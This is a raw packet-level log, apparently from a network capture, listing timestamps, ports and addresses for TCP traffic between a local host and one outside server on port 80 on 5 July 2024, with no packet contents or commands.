Jul 5, 2024 06:23:10.140299082 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140305042 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.140305042 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.140321016 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140330076 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.140341043 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140347958 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.140352011 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140364885 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140366077 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.140377045 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140386105 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.140389919 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140402079 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140410900 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.140412092 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140423059 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140428066 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.140433073 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140445948 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140460014 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.140471935 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140501976 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140502930 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.140512943 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140512943 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.140525103 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140536070 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140538931 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.140548944 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140558958 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140559912 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.140571117 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140583038 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140592098 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140603065 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.140603065 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.140611887 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.140626907 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140640020 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.140647888 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140664101 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.140666008 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140677929 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140680075 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.140691996 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140702963 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140705109 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.140712976 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140724897 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140733004 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.140733004 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.140738964 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140752077 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140760899 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140763998 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.140772104 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140782118 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.140785933 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140796900 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140806913 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140808105 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.140818119 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140826941 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140834093 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.140839100 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140849113 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140851021 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.140868902 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.140885115 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.222723007 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.222735882 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.222747087 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.222781897 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.222793102 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.222805023 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.222858906 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.222913980 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.222914934 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.222954988 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.223120928 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223138094 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223149061 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223160028 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223161936 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.223171949 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.223181963 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223195076 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.223198891 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223211050 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223222971 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223233938 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223234892 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.223244905 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223258972 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.223263025 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223274946 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223283052 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223290920 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.223300934 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223310947 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.223313093 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223325014 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223325014 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.223342896 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223351002 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.223356009 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223368883 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223377943 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223378897 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.223387003 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223397970 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223398924 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.223407984 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223418951 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223423004 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.223434925 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223445892 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223453045 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.223458052 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223469019 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223473072 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.223479986 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223490953 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223488092 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.223503113 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223512888 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.223515034 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223526955 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223537922 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223541975 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.223548889 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223555088 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.223562002 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223575115 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223582983 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.223584890 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223613977 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.223628998 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.223639965 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223656893 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223666906 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223676920 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223676920 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.223687887 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.223687887 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223701000 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223711967 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223712921 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.223722935 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223733902 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223740101 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.223746061 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223757029 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223757982 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.223767996 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223778009 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.223778963 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.223787069 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.223820925 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.233772993 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.233784914 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.233792067 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.233797073 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.233805895 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.233815908 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.233839989 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.233853102 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.233870983 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.233880997 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.233882904 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.233892918 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.233905077 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.233905077 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.233916998 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.233927965 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.233932972 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.233938932 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.233951092 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.233953953 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.233964920 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.233974934 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.233980894 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.233980894 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.233987093 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.233998060 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.234019995 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.234041929 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.673348904 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.678133011 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.865035057 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.865048885 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.865164995 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.865212917 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.865231991 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.865242958 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.865252018 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.865256071 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.865262985 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.865273952 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.865283966 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.865289927 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.865294933 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.865308046 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.865317106 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.865319967 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.865328074 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.865339041 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.865349054 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.865360975 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.865367889 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.865367889 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.865384102 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.865391970 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.865402937 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.865406036 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.865416050 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.865427017 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.865432978 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.865437031 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.865448952 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.865448952 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.865459919 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.865469933 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.865477085 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.865480900 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.865494013 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.865500927 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.865511894 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.865514040 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.865521908 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.865531921 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.865541935 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.865542889 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.865554094 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.865566969 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.865567923 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.865585089 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.865612984 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.951806068 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.951848984 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.951858997 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.951864958 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.951945066 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.951953888 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.951968908 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.951967955 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.951984882 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.951997995 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952002048 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.952022076 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.952023029 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952034950 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952035904 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.952045918 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952056885 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952066898 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.952076912 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952088118 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.952099085 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952109098 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952114105 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.952117920 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952131033 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952142000 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952142954 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.952157021 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952167034 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.952167988 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952179909 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952188969 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.952192068 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952202082 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952212095 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952225924 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.952248096 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.952250957 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952263117 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952272892 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952285051 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952297926 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.952303886 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952315092 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952326059 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952327013 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.952336073 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.952347994 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952358961 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952368021 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952380896 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.952388048 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952392101 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.952399015 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952409983 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952410936 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.952421904 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952441931 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952446938 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.952455044 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952467918 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.952474117 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952478886 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.952505112 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952511072 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.952522993 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952534914 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952544928 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952553034 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.952557087 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952568054 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952569962 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.952579021 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952590942 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952600002 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952603102 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.952610970 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952621937 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952624083 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.952641010 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952644110 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.952658892 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952661991 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.952671051 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952687979 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952689886 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.952698946 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952708960 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.952711105 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952722073 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952732086 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952734947 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.952743053 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952754974 CEST	80	49699	85.28.47.30	192.168.2.7
